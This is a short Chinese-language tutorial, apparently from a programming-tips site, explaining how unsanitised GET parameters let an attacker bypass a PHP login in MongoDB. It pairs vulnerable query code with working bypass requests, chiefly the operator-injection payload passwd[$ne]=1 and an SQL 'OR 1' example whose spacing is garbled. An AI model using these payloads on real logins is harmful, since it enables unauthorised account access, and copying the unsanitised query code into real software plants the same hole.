在關係型資料庫時代,SQL注入攻防幾乎成了每一個Web開發者的必修課,很多NoSQL的支持者稱NoSQL的同時也就NoSQL注入了。下面學步園小編來講解下怎樣利用GET參數判斷不嚴格進行MongoDB注入?
怎樣利用GET參數判斷不嚴格進行MongoDB注入
使用SQL資料庫存儲用戶名密碼的系統,我們檢測用戶名與密碼的過程可能是這樣的:
mysql_query("SELECT*FROMuser
WHEREusername=".$_GET['username'].",
ANDpasswd=".$_GET['passwd'])
我們使用MongoDB進行最簡單的用戶名與密碼檢測可能是這樣的:
$collection->find(array(
"username"=>$_GET['username'],
"passwd"=>$_GET['passwd']
));
怎樣利用GET參數判斷不嚴格進行MongoDB注入
在最普通的SQL注入中,我們可以構造下面這樣的請求:
login.php?username=admin&passwd=abcOR1–
這個請求會形成這樣的SQL語句:
SELECT*FROMuserWHEREusername=adminANDpasswd=abcOR1;
成功注入!
採用同理的方法,針對上面的MongoDB查詢方式,你可以構造下面的請求:
login.php?username=admin&passwd[$ne]=1
這個請求會形成這樣的MongoDB查詢:
$collection->find(array(
"username"=>"admin",
"passwd"=>array("$ne"=>1)
));
成功注入!
以上就是關於「怎樣利用GET參數判斷不嚴格進行MongoDB注入」的內容,希望對大家有用。更多資訊請關注學步園。學步園,您學習IT技術的優質平台!